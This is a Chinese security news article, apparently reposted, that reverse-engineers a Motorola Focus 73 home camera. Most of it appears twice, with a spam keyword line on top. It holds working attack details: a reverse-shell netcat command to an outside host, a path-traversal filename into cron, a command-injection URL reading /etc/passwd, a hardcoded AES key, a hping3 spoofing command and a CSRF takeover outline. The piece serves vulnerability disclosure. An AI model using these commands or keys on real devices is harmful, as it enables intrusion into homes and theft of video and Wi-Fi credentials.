精品国产一级在线观看,国产成人综合久久精品亚洲,免费一级欧美大片在线观看

當前位置:安全行業動態 → 正文

逆向工程分析:摩托羅拉安全攝像頭究竟有多不安全?

責任編輯:editor005 作者:飯團君 |來源:企業網D1Net  2016-06-16 15:56:54 本文摘自:黑客與極客

  寫在前面

這年頭,誰家不得防賊防盜防小三?云安全攝像頭也就變得越來越盛行了。可雖然叫“安全”攝像頭,它們本身的安全性或許并不怎么樣。這款摩托羅拉Focus 73戶外安全攝像頭即是如此。

摩托羅拉Focus 73攝像頭是一款戶外安全攝像頭,這款產品實際上是由Binatone制造的。此系列攝像頭產品支持通過Hubble服務與云端連接。Hubble服務是建基于Amazon EC2 instance的,有了這項服務,用戶就可以遠程監控攝像頭了,另外也能接收攝像頭發出的警告信息。不過Hubble服務是收費的,用戶每個月需要掏錢來購買這項服務。

下面這篇逆向工程分析就是要揭示,這款攝像頭實際上存在諸多安全問題。在不需要訪問本地網絡的情況下,就能攻入攝像頭,獲取攝像頭所在家用WiFi網絡的密碼,拿下攝像頭的控制權,甚至還能將視頻流重定向到黑客自己搭建的服務器中。

硬件分析

從摩托羅拉Focus 73攝像頭的拆解來看,其內部采用Nuvoton(新塘)ARM9 SoC(N329x),N79E814AT20 CPU,連接CPU的GPIO接口15針。另外里面還有個微開關,配套應用在進行設置的時候也就能夠找到攝像頭了。

其上的PCB板連接至電動平衡架——該平衡架是可以左右旋轉的,不過兩側在90°位置進行阻斷,也就是說總共可以翻轉180°——其翻轉可以通過API進行控制。這些也就是攝像頭調整鏡頭朝向、角度的裝置。

網絡連接方面,此攝像頭可通過802.11無線網絡連接,也可以通過以太網連接。鏡頭上方的LED燈是用于指示系統狀態的,可通過預設的命令做控制。攝像頭工作時,LED燈常亮,進行視頻流傳輸或者發現鏡頭前的異常情況并發出警報時會閃爍。

軟件配置

與攝像頭配套的移動應用名為Hubble,可在應用商店中免費下載。這款應用是進行攝像頭設置的入口,需要Hubble帳號才能登錄使用。此應用也是配置攝像頭、通過標準API支持更多IP攝像頭加入的唯一“官方”方案。

在應用程序安裝過程中,程序會提示用戶給攝像頭插入網線,或點按攝像頭上的“配對”按鈕,讓攝像頭進入host模式,開啟開放無線網絡(沒有密碼)。隨后應用會掃描到名為“CameraHD-[Mac地址]”的網絡,并提示用戶進行連接。

這款攝像頭還提供一些未經過濾的網絡服務,包括RTSP——這是定制的內部消息服務,另外還包含兩個內部的web服務(nuvoton和busybox,web server),其中一個web服務實際上還提供了固件升級,雖然這其實是個隱藏功能。

應用程序連接該開放熱點時,還會向nuvoton web服務發出請求,通過Linux的iwlist指令進行無線網絡的掃描。掃描結果會以XML的形式返回到應用中,用戶就可以從列表中選擇自己的網絡了。

選擇相應的無線網絡之后,輸入WiFi私鑰,隨后會以基本HTTP身份認證的方式,在開放網絡中進行未加密的廣播(形如用戶名“camera”,密碼“000000”)。這里的HTTP認證看起來已經比較古老了,而且早就已經不用了——這種情況在此類設備上其實比較普遍。像/routersetup.html這種頁面,都算是比較原始的頁面。

首先要對應用通訊做設置,通過Hubble云服務與攝像頭做連接。整個過程是通過一個TLS協議下的REST API進行的,該REST API是為命令、警報和實時視頻的視頻流服務器連接準備的。這里的實時視頻還是有些小復雜的:移動應用給Hubble服務器傳數據,服務器對視頻流會話進行初始化。為了將命令發送到攝像頭,Hubble服務器需要在互聯網上對攝像頭進行定位,還需要通過攝像頭所在網絡的防火墻,創建入站連接。

上面這段話簡單說,就是應用程序與服務器之間的配置完成后,應用程序以及服務器建立視頻通信。應用程序向服務器提交建立連接的指令,最終服務器通過防火墻連接應用程序。通過NAT路由器進行入站連接的傳統方法應該是借由STUN協議進行的。

STUN是一種網絡協議,它允許位于NAT(或多重NAT)后的客戶端找出自己的公網地址,同時可以在兩個同時處于NAT 路由器之后的主機之間建立UDP通信。

攝像頭向Hubble服務器發送常規的heartbeat信息,讓服務器知道其當前的外部IP地址以及監聽的UDP 端口,同時也是讓防火墻允許這樣的臨時連接存在(時長120s) 。

應用程序以及服務器之間的STUN協議的確是比較實用的。攝像頭通過常規STUN心跳信息,維持NAT路由器的開放UDP端口。這里的心跳信息也是從Hubble接收ad-hoc指令的方式。

比如“start streaming video”開始進行視頻流,就是個典型的命令,該命令會以AES加密的方式發送到STUN客戶端,客戶端再用本地密鑰對此進行解密,再借由cURL工具轉往本地Web服務。

本地Web服務器隨后會運行本地腳本,在進行視頻流時生成隨機URL——這個URL是針對遠程視頻服務器IP地址硬編碼生成的。該URL鏈接再返回到cURL客戶端,然后再通過加密的STUN信息返回到Hubble和最終的應用。應用接收到這個公共的URL地址之后,就能連接視頻服務器了,也能接收視頻數據UDP流。該編碼過后的URL地址也可以直接用其它客戶端訪問。

固件

廠商沒有對所謂的固件升級做公開宣傳,不過跟很多IoT設備一樣,的確有升級固件的可行方案,雖然是比較隱藏的——通過私有URL地址就能進行固件升級。私有URL地址哪兒來呢?其實也不算難,應用里面的字符串有包含一部分URL地址。然后靠產品型號和固件版本來猜測URL的剩余部分,也就搞定了。

實際上,我們還發現了一個名為“skyeye”的Linux壓縮文件系統,這是由香港攝像頭企業Civision寫的。以這種連猜帶蒙的方式,我們還能獲取更多的固件版本,包括歷史版本的固件和開發版固件。

Civision固件包含了/bin、/etc、/lib文件夾,不過這個固件并非完整的Linux系統。固件本身是掛在/mnt/skyeye載點的。如busybox等核心二進制文件并未包含在內,這些部分是隸屬于Nuvoton系統的——Nuvoton沒有升級機制,所以里面有一堆很老的二進制文件,有些甚至有10年歷史了。

從固件中不難觀察到,腳本和配置文件中有其他型號IP攝像頭的痕跡,比如Focus攝像頭家族產品的switch語句等。這表明,該固件并非為這款攝像頭產品特別設計。這么做應該是為了節約開發成本。廠商只需要針對這個固件進行特定型號產品的配置就行,在文本文件中定義即可。

web服務部分位于/mnt/skyeye/mlswwwn/,采用的haserl CGI腳本直接將HTTP表單參數傳往shell環境,用以實現諸如獲取日志、升級固件等功能。這個地方是可被腳本利用的。

惡意固件升級

前面我們有提到,系統中實際上存在2個web服務。這2個web服務位于同一個文件夾下(/mnt/skyeye/mslwwwn/),兩者的端口號分別是80和8080。后者是個busybox httpd——就像其他一般的httpd一樣,限制訪問如可執行文件或/cgi-bin/下的腳本等特定文件。

但問題在于,端口為80的Nuvoton web服務就沒有這方面的限制。所以在8080端口沒法看的東西,在80端口就能一覽無余,包括ELF二進制文件——這些文件提供了非常有價值的信息,包括架構(ARM32 LE)和可執行環境。

這些文件中,其中一個很有趣,文件名為harserlupgrade.cgi。這個文件實際上是固件升級進程需要用到的。由于固件本身并沒有加密,也沒有簽名之類的,我們也就能夠對其進行修改,開個獨立的后門:<% form_run="">。

<% form_run="">

這樣一來,就能通過http://[IP]:8080/fwupgrade.html這個地址,來上傳修改過的固件了,方便我們執行各種命令,比如像下面這樣:

http://(IP):8080/cgi-bin/script.cgi?run=cat /etc/passwd

目錄遍歷與命令注入

如上所述,我們發現了haserlupgrade CGI腳本的漏洞,典型的目錄遍歷漏洞。腳本(root運行)獲取壓縮的固件鏡像,并將之移至指定位置,在webroot之外。悲劇的是,這個過程不會對表單中的文件名進行驗證,所以“new_firmware.tgz”,還有“../../../mnt/skyeye/etc/cron/root”這樣都是可以的。

我們在測試環境下構建相同的腳本,確認由于haserl不會對輸入做驗證,所以目錄遍歷漏洞的確存在。不過問題是無論將固件放到文件系統的哪個位置,都會被移除。順帶一提,我們如果覆蓋核心文件(比如/bin/busybox),可以讓設備變磚——考慮到這是個安全攝像頭,做到這一點還是挺有意義的…

其實在固件升級完成后,自動刪除固件文件是很正常的事情。我們繼續檢查其它腳本,發現了針對“fwupgrade”二進制文件(16行)的中斷調用(加載到IDA反匯編工具中發現的)。這個二進制文件收到SIGUSR1中斷之后,就會從/mnt/cache/new_fwupgrade文件讀取128字節,然后將之作為固件文件名。隨后再通過shell script來進行固件升級,完成之后就會將固件文件刪除。

這里,固件的文件名是fwupgrade讀取128字節而來的——128個字節也就意味著固件的文件名可以很長,并且可以中途打斷這個進程,這樣一來上傳的文件就不會被刪除了——因為中斷的時候,獲取的文件名還不完整。

我們選定的文件名就這么來回折騰,直到超出128字節。系統最終將我們的文件放到了“cron”文件夾,這個位置是每分鐘都會進行讀取和執行工作的。這些重復的文件夾名稱可以被隨機字符替代,直到超過128字節。

../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/etc/cron/root

基于此,利用busybox每分鐘進行一次反向shell:

/bin/busybox nc 10.45.3.100 1664 -e /bin/sh

相關cron的這個執行周期需要60s,在等待過程中,我們看到了下面的頁面。這是個展示進度的頁面,里面有我們選定的文件名,還有文件尺寸,看起來還是覺得挺搞笑的。由于這臺設備也沒有防火墻,所以我們其實也可以利用任意端口號。

已經獲取到了攝像頭的root訪問權限,其實要破解root密碼已經不重要了,但利用工具John還是可以搞定,其密碼為“123456”;可知的信息還包括類似FTP這樣權限更低的用戶賬戶,不過其實也已經沒什么意義了。

再往深處挖掘,我們還在/tmp/wpa.conf文件中發現了好東西:明文的WiFi密碼(沒錯,家庭網絡的WiFi密碼)。另外我們還發現了Civision安全測試網絡的出廠無線憑證,就是在重置出廠狀態之后會應用的網絡。

此外,這款攝像頭產品還運行了一些有趣的GPLv2開源軟件。Nuvoton web服務針對此SoC的聲明提到:“開源代碼環境會讓產品開發更具彈性。”Nuvoton web服務的表現其實很像MJPG流,只不過有用于遠程控制的額外功能。從字符串來看,STUN客戶端用的應該是PJNATH庫,不過應該也有功能方面的擴展(STUN信息內的C&C)。

在攝像頭上運行“ps”命令,可以看到大量msloader線程,msloader是掌控攝像頭核心功能、警報、指令、控制的。msloader比較復雜,所以可能導致內存泄露的問題,這從cron文件夾那邊的動作會致使msloader重啟可以看的出來,而且重啟的時間比較規律,是在早晨。我們當然不會公布重啟的具體時間,要利用這個問題來發起攻擊,應該是不需要什么技術就可以做到的。

設備日志內的細節信息才真實讓人倍感悲劇,比如遠程控制STUN信息的AES密鑰,和視頻剪輯存儲的FTP憑證。其中列出的錯誤信息也印證了我們的想法,即用到了開源的PJNATH庫。

更悲劇的是,日志文件居然可以從web界面下載,不過經過了加密(/bin/cryto)。加密采用的是Linux的crypto API,硬編碼的AES密鑰:Cvision123459876。也就是說,通過:8080/cgi-bin/logdownload.cgi,到你家的陌生人都可以獲取到日志文件和遠程命令密鑰。

  遠程STUN攻擊

如前文所述,這顆攝像頭使用STUN協議與Hubble服務器保持通訊。分析STUN包,會發現16字節的IV(初始化向量)和一段AES加密數據。我們先前就已經有了存儲在設備上的AES密鑰,還有來自包的IV,也就能夠比較輕易地解密命令數據。

STUN信息中的數據,用于從“云端”獲取加密命令,比如說“start recording(開始錄制)”,“change video server(改變視頻服務器)”,“move left(左移)”,“reboot(重啟)”等。既然能夠解密這樣的信息了,那么各種針對攝像頭的控制也就可行了(用原有的AES密鑰篡改包,重新加密構建包)。在攝像頭這一邊,加密數據本質上只不過是web命令(借由STUN庫解析,用cURL傳遞到HTTP服務器,再生效)。

在對這套機制的深入研究中,我們還發現要重新執行以前的STUN信息也是完全可以的,因為加密命令此處沒有超時限制。顯然,從上面的分析可以看出,AES密鑰就是阻止遠程攻擊的主要安全機制了。

設備中有個名為camregister的二進制文件,其中就有獲取設備AES密鑰的常規方式。camregister處理攝像頭的初始配置,連接Hubble服務器采用SSL連接。它會攜Mac地址、固件版本、UDID和其他細節信息,發出HTTP POST請求。隨后從Hubble接收AES密鑰,保存到設備中。密鑰再通過GET API請求進行核查,注冊過程就結束了。這個過程中,AES密鑰是在Hubble服務器上生成的,要替代這個過程是不大可能的。

既然遇到阻礙了,我們嘗試再度對STUN信息進行追蹤。為了保證STUN會話活躍,NAT路由器WAN接口的UDP端口需要保證開啟。針對STUN庫進一步分析,我們發現,通過cURL傳往內部web服務器的加密數據是沒有經過核查的。如果有更多時間,未來我們還會考慮分析遠程訪問的可行性(因為加密STUN信息缺少輸入驗證的過程)。

  盲目遠程攻擊

如果攻擊者已經拿到了AES密鑰(通過本地的logdownload.cgi,或者是通過Hubble GET API密鑰請求),就完全可以控制這款攝像頭了。

為了演示這一點,我們寫了個簡單的Python腳本,這個腳本可以生成有效的加密命令。我們再配合hping3,從NAT路由器外部可以欺騙Hubble STUN服務器。當然絕大部分ISP肯定不會讓你這么做,所以我們用一款很流行的NAT路由器的WAN以太網接口做測試。攝像頭本身設置為偽裝內部IP段(192.168.0.0/24)的無線客戶端。所有針對STUN命令的回應,都會回到Hubble,如果沒法攔截的話,就需要發個引出回應的指令,進行所謂的盲目攻擊。我們還真找到了這樣一條命令。

API命令“set_wowza_server&value=(ip)”以及“start_rtmp&value=1”,可用于將RTMP視頻流重定向到你自己的服務器上。我們采用開源的視頻服務Red5。如果盲目攻擊成功,就能引導TCP視頻流至服務器,端口1935。

python stunning.py “set_wowza_server&value=10.45.3.100” >stunpacket hping3 10.45.3.62 --udp -V -p 50610 --spoof stun.hubble.in -s 3478 --file stunpacket --data $(stat -c%s stunpacket) -c 1

在構建這份腳本的過程中,我們還發現STUN客戶端一點都不挑剔,它接受無效的包,或者包含Unix特殊字符、非命令URL的包,所以你可以加密發送各種HTTP GET請求,它照單全收。

CSRF攻擊

如果沒有拿到AES密鑰的話,其實還可以進行CSRF攻擊,通過JavaScript獲取控制權。我們特別做了個JavaScript腳本來自動掃描攝像頭信息,借由xmlhttprequest執行上面提到的cron動作,然后獲取root權限,執行反向shell命令,并上傳我們自己的resolv.conf DNS文件,控制DNS,攔截所有的警報。由于瀏覽器的跨域資源分享限制,這么做原本是不行的,不過跨域資源分享限制并不會阻止我們向其他域發出數據(HTTP POST)。瀏覽器錯誤控制臺會顯示安全信息,向你報告阻止了部分內容,實際上目的也就已經達到了。

如果有人查看該頁面,情況也就可以想見了。

一旦我們掌握了對攝像頭的控制,就可以修改DNS配置文件(/etc/resolv.conf),查看云端的upload1.hubble.in,再轉到我們自己的web服務器,這樣就可以接收JPEG警報圖像,和FLV視頻內容了,這原本是Hubble的付費用戶才有的待遇。媒體是通過HTTP POST未加密的形式,發往/v1/uploads/snap.json或者/v1/uploads/clip.json的,我們就做了個PHP腳本來處理這些媒體文件的上傳和存儲,等我們閑的時候還可以仔細看看……

  總結

設計智能設備的,我們還是建議首先要建立起全面的安全準則,比如說輸入驗證、邊界檢查、訪問控制與認證等。加密通訊的確是有意義的,但如果密鑰本身就不安全,那么一切都是白費的。密鑰這種東西就是應該得到嚴密防護的,而不是放在日志里面,或者由一些不受信任的機構設置。要在某個界面進行加密,那就不應該通過未加密的界面解密或傳遞其中的敏感信息,否則也就沒有意義了。

一些最基本的安全原則還是要遵守,比如最小權限、深度防御。固件也需要簽名或者加密,抵御惡意的固件上傳或篡改。如果不這么做,不僅給用戶帶來安全風險,對企業的業務也很不好。比如我們上面說的這款攝像頭,原本打算每個月收服務費,這種賺錢方式也就被打破了。另外,開源的固件有時候的確是不怎么靠譜的。

*參考來源:contextis,飯團君投遞,轉載請注明來自FreeBuf黑客與極客(FreeBuf.COM)

關鍵字:攝像頭逆向工程分析安全

本文摘自:黑客與極客

x 逆向工程分析:摩托羅拉安全攝像頭究竟有多不安全? 掃一掃
分享本文到朋友圈
當前位置:安全行業動態 → 正文

逆向工程分析:摩托羅拉安全攝像頭究竟有多不安全?

責任編輯:editor005 作者:飯團君 |來源:企業網D1Net  2016-06-16 15:56:54 本文摘自:黑客與極客

  寫在前面

這年頭,誰家不得防賊防盜防小三?云安全攝像頭也就變得越來越盛行了??呻m然叫“安全”攝像頭,它們本身的安全性或許并不怎么樣。這款摩托羅拉Focus 73戶外安全攝像頭即是如此。

摩托羅拉Focus 73攝像頭是一款戶外安全攝像頭,這款產品實際上是由Binatone制造的。此系列攝像頭產品支持通過Hubble服務與云端連接。Hubble服務是建基于Amazon EC2 instance的,有了這項服務,用戶就可以遠程監控攝像頭了,另外也能接收攝像頭發出的警告信息。不過Hubble服務是收費的,用戶每個月需要掏錢來購買這項服務。

下面這篇逆向工程分析就是要揭示,這款攝像頭實際上存在諸多安全問題。在不需要訪問本地網絡的情況下,就能攻入攝像頭,獲取攝像頭所在家用WiFi網絡的密碼,拿下攝像頭的控制權,甚至還能將視頻流重定向到黑客自己搭建的服務器中。

硬件分析

從摩托羅拉Focus 73攝像頭的拆解來看,其內部采用Nuvoton(新塘)ARM9 SoC(N329x),N79E814AT20 CPU,連接CPU的GPIO接口15針。另外里面還有個微開關,配套應用在進行設置的時候也就能夠找到攝像頭了。

其上的PCB板連接至電動平衡架——該平衡架是可以左右旋轉的,不過兩側在90°位置進行阻斷,也就是說總共可以翻轉180°——其翻轉可以通過API進行控制。這些也就是攝像頭調整鏡頭朝向、角度的裝置。

網絡連接方面,此攝像頭可通過802.11無線網絡連接,也可以通過以太網連接。鏡頭上方的LED燈是用于指示系統狀態的,可通過預設的命令做控制。攝像頭工作時,LED燈常亮,進行視頻流傳輸或者發現鏡頭前的異常情況并發出警報時會閃爍。

軟件配置

與攝像頭配套的移動應用名為Hubble,可在應用商店中免費下載。這款應用是進行攝像頭設置的入口,需要Hubble帳號才能登錄使用。此應用也是配置攝像頭、通過標準API支持更多IP攝像頭加入的唯一“官方”方案。

在應用程序安裝過程中,程序會提示用戶給攝像頭插入網線,或點按攝像頭上的“配對”按鈕,讓攝像頭進入host模式,開啟開放無線網絡(沒有密碼)。隨后應用會掃描到名為“CameraHD-[Mac地址]”的網絡,并提示用戶進行連接。

這款攝像頭還提供一些未經過濾的網絡服務,包括RTSP——這是定制的內部消息服務,另外還包含兩個內部的web服務(nuvoton和busybox,web server),其中一個web服務實際上還提供了固件升級,雖然這其實是個隱藏功能。

應用程序連接該開放熱點時,還會向nuvoton web服務發出請求,通過Linux的iwlist指令進行無線網絡的掃描。掃描結果會以XML的形式返回到應用中,用戶就可以從列表中選擇自己的網絡了。

選擇相應的無線網絡之后,輸入WiFi私鑰,隨后會以基本HTTP身份認證的方式,在開放網絡中進行未加密的廣播(形如用戶名“camera”,密碼“000000”)。這里的HTTP認證看起來已經比較古老了,而且早就已經不用了——這種情況在此類設備上其實比較普遍。像/routersetup.html這種頁面,都算是比較原始的頁面。

首先要對應用通訊做設置,通過Hubble云服務與攝像頭做連接。整個過程是通過一個TLS協議下的REST API進行的,該REST API是為命令、警報和實時視頻的視頻流服務器連接準備的。這里的實時視頻還是有些小復雜的:移動應用給Hubble服務器傳數據,服務器對視頻流會話進行初始化。為了將命令發送到攝像頭,Hubble服務器需要在互聯網上對攝像頭進行定位,還需要通過攝像頭所在網絡的防火墻,創建入站連接。

上面這段話簡單說,就是應用程序與服務器之間的配置完成后,應用程序以及服務器建立視頻通信。應用程序向服務器提交建立連接的指令,最終服務器通過防火墻連接應用程序。通過NAT路由器進行入站連接的傳統方法應該是借由STUN協議進行的。

STUN是一種網絡協議,它允許位于NAT(或多重NAT)后的客戶端找出自己的公網地址,同時可以在兩個同時處于NAT 路由器之后的主機之間建立UDP通信。

攝像頭向Hubble服務器發送常規的heartbeat信息,讓服務器知道其當前的外部IP地址以及監聽的UDP 端口,同時也是讓防火墻允許這樣的臨時連接存在(時長120s) 。

應用程序以及服務器之間的STUN協議的確是比較實用的。攝像頭通過常規STUN心跳信息,維持NAT路由器的開放UDP端口。這里的心跳信息也是從Hubble接收ad-hoc指令的方式。

比如“start streaming video”開始進行視頻流,就是個典型的命令,該命令會以AES加密的方式發送到STUN客戶端,客戶端再用本地密鑰對此進行解密,再借由cURL工具轉往本地Web服務。

本地Web服務器隨后會運行本地腳本,在進行視頻流時生成隨機URL——這個URL是針對遠程視頻服務器IP地址硬編碼生成的。該URL鏈接再返回到cURL客戶端,然后再通過加密的STUN信息返回到Hubble和最終的應用。應用接收到這個公共的URL地址之后,就能連接視頻服務器了,也能接收視頻數據UDP流。該編碼過后的URL地址也可以直接用其它客戶端訪問。

固件

廠商沒有對所謂的固件升級做公開宣傳,不過跟很多IoT設備一樣,的確有升級固件的可行方案,雖然是比較隱藏的——通過私有URL地址就能進行固件升級。私有URL地址哪兒來呢?其實也不算難,應用里面的字符串有包含一部分URL地址。然后靠產品型號和固件版本來猜測URL的剩余部分,也就搞定了。

實際上,我們還發現了一個名為“skyeye”的Linux壓縮文件系統,這是由香港攝像頭企業Civision寫的。以這種連猜帶蒙的方式,我們還能獲取更多的固件版本,包括歷史版本的固件和開發版固件。

Civision固件包含了/bin、/etc、/lib文件夾,不過這個固件并非完整的Linux系統。固件本身是掛在/mnt/skyeye載點的。如busybox等核心二進制文件并未包含在內,這些部分是隸屬于Nuvoton系統的——Nuvoton沒有升級機制,所以里面有一堆很老的二進制文件,有些甚至有10年歷史了。

從固件中不難觀察到,腳本和配置文件中有其他型號IP攝像頭的痕跡,比如Focus攝像頭家族產品的switch語句等。這表明,該固件并非為這款攝像頭產品特別設計。這么做應該是為了節約開發成本。廠商只需要針對這個固件進行特定型號產品的配置就行,在文本文件中定義即可。

web服務部分位于/mnt/skyeye/mlswwwn/,采用的haserl CGI腳本直接將HTTP表單參數傳往shell環境,用以實現諸如獲取日志、升級固件等功能。這個地方是可被腳本利用的。

惡意固件升級

前面我們有提到,系統中實際上存在2個web服務。這2個web服務位于同一個文件夾下(/mnt/skyeye/mslwwwn/),兩者的端口號分別是80和8080。后者是個busybox httpd——就像其他一般的httpd一樣,限制訪問如可執行文件或/cgi-bin/下的腳本等特定文件。

但問題在于,端口為80的Nuvoton web服務就沒有這方面的限制。所以在8080端口沒法看的東西,在80端口就能一覽無余,包括ELF二進制文件——這些文件提供了非常有價值的信息,包括架構(ARM32 LE)和可執行環境。

這些文件中,其中一個很有趣,文件名為harserlupgrade.cgi。這個文件實際上是固件升級進程需要用到的。由于固件本身并沒有加密,也沒有簽名之類的,我們也就能夠對其進行修改,開個獨立的后門:<% form_run="">。

<% form_run="">

這樣一來,就能通過http://[IP]:8080/fwupgrade.html這個地址,來上傳修改過的固件了,方便我們執行各種命令,比如像下面這樣:

http://(IP):8080/cgi-bin/script.cgi?run=cat /etc/passwd

目錄遍歷與命令注入

如上所述,我們發現了haserlupgrade CGI腳本的漏洞,典型的目錄遍歷漏洞。腳本(root運行)獲取壓縮的固件鏡像,并將之移至指定位置,在webroot之外。悲劇的是,這個過程不會對表單中的文件名進行驗證,所以“new_firmware.tgz”,還有“../../../mnt/skyeye/etc/cron/root”這樣都是可以的。

我們在測試環境下構建相同的腳本,確認由于haserl不會對輸入做驗證,所以目錄遍歷漏洞的確存在。不過問題是無論將固件放到文件系統的哪個位置,都會被移除。順帶一提,我們如果覆蓋核心文件(比如/bin/busybox),可以讓設備變磚——考慮到這是個安全攝像頭,做到這一點還是挺有意義的…

其實在固件升級完成后,自動刪除固件文件是很正常的事情。我們繼續檢查其它腳本,發現了針對“fwupgrade”二進制文件(16行)的中斷調用(加載到IDA反匯編工具中發現的)。這個二進制文件收到SIGUSR1中斷之后,就會從/mnt/cache/new_fwupgrade文件讀取128字節,然后將之作為固件文件名。隨后再通過shell script來進行固件升級,完成之后就會將固件文件刪除。

這里,固件的文件名是fwupgrade讀取128字節而來的——128個字節也就意味著固件的文件名可以很長,并且可以中途打斷這個進程,這樣一來上傳的文件就不會被刪除了——因為中斷的時候,獲取的文件名還不完整。

我們選定的文件名就這么來回折騰,直到超出128字節。系統最終將我們的文件放到了“cron”文件夾,這個位置是每分鐘都會進行讀取和執行工作的。這些重復的文件夾名稱可以被隨機字符替代,直到超過128字節。

../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/etc/cron/root

基于此,利用busybox每分鐘進行一次反向shell:

/bin/busybox nc 10.45.3.100 1664 -e /bin/sh

相關cron的這個執行周期需要60s,在等待過程中,我們看到了下面的頁面。這是個展示進度的頁面,里面有我們選定的文件名,還有文件尺寸,看起來還是覺得挺搞笑的。由于這臺設備也沒有防火墻,所以我們其實也可以利用任意端口號。

已經獲取到了攝像頭的root訪問權限,其實要破解root密碼已經不重要了,但利用工具John還是可以搞定,其密碼為“123456”;可知的信息還包括類似FTP這樣權限更低的用戶賬戶,不過其實也已經沒什么意義了。

再往深處挖掘,我們還在/tmp/wpa.conf文件中發現了好東西:明文的WiFi密碼(沒錯,家庭網絡的WiFi密碼)。另外我們還發現了Civision安全測試網絡的出廠無線憑證,就是在重置出廠狀態之后會應用的網絡。

此外,這款攝像頭產品還運行了一些有趣的GPLv2開源軟件。Nuvoton web服務針對此SoC的聲明提到:“開源代碼環境會讓產品開發更具彈性。”Nuvoton web服務的表現其實很像MJPG流,只不過有用于遠程控制的額外功能。從字符串來看,STUN客戶端用的應該是PJNATH庫,不過應該也有功能方面的擴展(STUN信息內的C&C)。

在攝像頭上運行“ps”命令,可以看到大量msloader線程,msloader是掌控攝像頭核心功能、警報、指令、控制的。msloader比較復雜,所以可能導致內存泄露的問題,這從cron文件夾那邊的動作會致使msloader重啟可以看的出來,而且重啟的時間比較規律,是在早晨。我們當然不會公布重啟的具體時間,要利用這個問題來發起攻擊,應該是不需要什么技術就可以做到的。

設備日志內的細節信息才真實讓人倍感悲劇,比如遠程控制STUN信息的AES密鑰,和視頻剪輯存儲的FTP憑證。其中列出的錯誤信息也印證了我們的想法,即用到了開源的PJNATH庫。

更悲劇的是,日志文件居然可以從web界面下載,不過經過了加密(/bin/cryto)。加密采用的是Linux的crypto API,硬編碼的AES密鑰:Cvision123459876。也就是說,通過:8080/cgi-bin/logdownload.cgi,到你家的陌生人都可以獲取到日志文件和遠程命令密鑰。

  遠程STUN攻擊

如前文所述,這顆攝像頭使用STUN協議與Hubble服務器保持通訊。分析STUN包,會發現16字節的IV(初始化向量)和一段AES加密數據。我們先前就已經有了存儲在設備上的AES密鑰,還有來自包的IV,也就能夠比較輕易地解密命令數據。

STUN信息中的數據,用于從“云端”獲取加密命令,比如說“start recording(開始錄制)”,“change video server(改變視頻服務器)”,“move left(左移)”,“reboot(重啟)”等。既然能夠解密這樣的信息了,那么各種針對攝像頭的控制也就可行了(用原有的AES密鑰篡改包,重新加密構建包)。在攝像頭這一邊,加密數據本質上只不過是web命令(借由STUN庫解析,用cURL傳遞到HTTP服務器,再生效)。

在對這套機制的深入研究中,我們還發現要重新執行以前的STUN信息也是完全可以的,因為加密命令此處沒有超時限制。顯然,從上面的分析可以看出,AES密鑰就是阻止遠程攻擊的主要安全機制了。

設備中有個名為camregister的二進制文件,其中就有獲取設備AES密鑰的常規方式。camregister處理攝像頭的初始配置,連接Hubble服務器采用SSL連接。它會攜Mac地址、固件版本、UDID和其他細節信息,發出HTTP POST請求。隨后從Hubble接收AES密鑰,保存到設備中。密鑰再通過GET API請求進行核查,注冊過程就結束了。這個過程中,AES密鑰是在Hubble服務器上生成的,要替代這個過程是不大可能的。

既然遇到阻礙了,我們嘗試再度對STUN信息進行追蹤。為了保證STUN會話活躍,NAT路由器WAN接口的UDP端口需要保證開啟。針對STUN庫進一步分析,我們發現,通過cURL傳往內部web服務器的加密數據是沒有經過核查的。如果有更多時間,未來我們還會考慮分析遠程訪問的可行性(因為加密STUN信息缺少輸入驗證的過程)。

  盲目遠程攻擊

如果攻擊者已經拿到了AES密鑰(通過本地的logdownload.cgi,或者是通過Hubble GET API密鑰請求),就完全可以控制這款攝像頭了。

為了演示這一點,我們寫了個簡單的Python腳本,這個腳本可以生成有效的加密命令。我們再配合hping3,從NAT路由器外部可以欺騙Hubble STUN服務器。當然絕大部分ISP肯定不會讓你這么做,所以我們用一款很流行的NAT路由器的WAN以太網接口做測試。攝像頭本身設置為偽裝內部IP段(192.168.0.0/24)的無線客戶端。所有針對STUN命令的回應,都會回到Hubble,如果沒法攔截的話,就需要發個引出回應的指令,進行所謂的盲目攻擊。我們還真找到了這樣一條命令。

API命令“set_wowza_server&value=(ip)”以及“start_rtmp&value=1”,可用于將RTMP視頻流重定向到你自己的服務器上。我們采用開源的視頻服務Red5。如果盲目攻擊成功,就能引導TCP視頻流至服務器,端口1935。

python stunning.py “set_wowza_server&value=10.45.3.100” >stunpacket hping3 10.45.3.62 --udp -V -p 50610 --spoof stun.hubble.in -s 3478 --file stunpacket --data $(stat -c%s stunpacket) -c 1

在構建這份腳本的過程中,我們還發現STUN客戶端一點都不挑剔,它接受無效的包,或者包含Unix特殊字符、非命令URL的包,所以你可以加密發送各種HTTP GET請求,它照單全收。

CSRF攻擊

如果沒有拿到AES密鑰的話,其實還可以進行CSRF攻擊,通過JavaScript獲取控制權。我們特別做了個JavaScript腳本來自動掃描攝像頭信息,借由xmlhttprequest執行上面提到的cron動作,然后獲取root權限,執行反向shell命令,并上傳我們自己的resolv.conf DNS文件,控制DNS,攔截所有的警報。由于瀏覽器的跨域資源分享限制,這么做原本是不行的,不過跨域資源分享限制并不會阻止我們向其他域發出數據(HTTP POST)。瀏覽器錯誤控制臺會顯示安全信息,向你報告阻止了部分內容,實際上目的也就已經達到了。

如果有人查看該頁面,情況也就可以想見了。

一旦我們掌握了對攝像頭的控制,就可以修改DNS配置文件(/etc/resolv.conf),查看云端的upload1.hubble.in,再轉到我們自己的web服務器,這樣就可以接收JPEG警報圖像,和FLV視頻內容了,這原本是Hubble的付費用戶才有的待遇。媒體是通過HTTP POST未加密的形式,發往/v1/uploads/snap.json或者/v1/uploads/clip.json的,我們就做了個PHP腳本來處理這些媒體文件的上傳和存儲,等我們閑的時候還可以仔細看看……

  總結

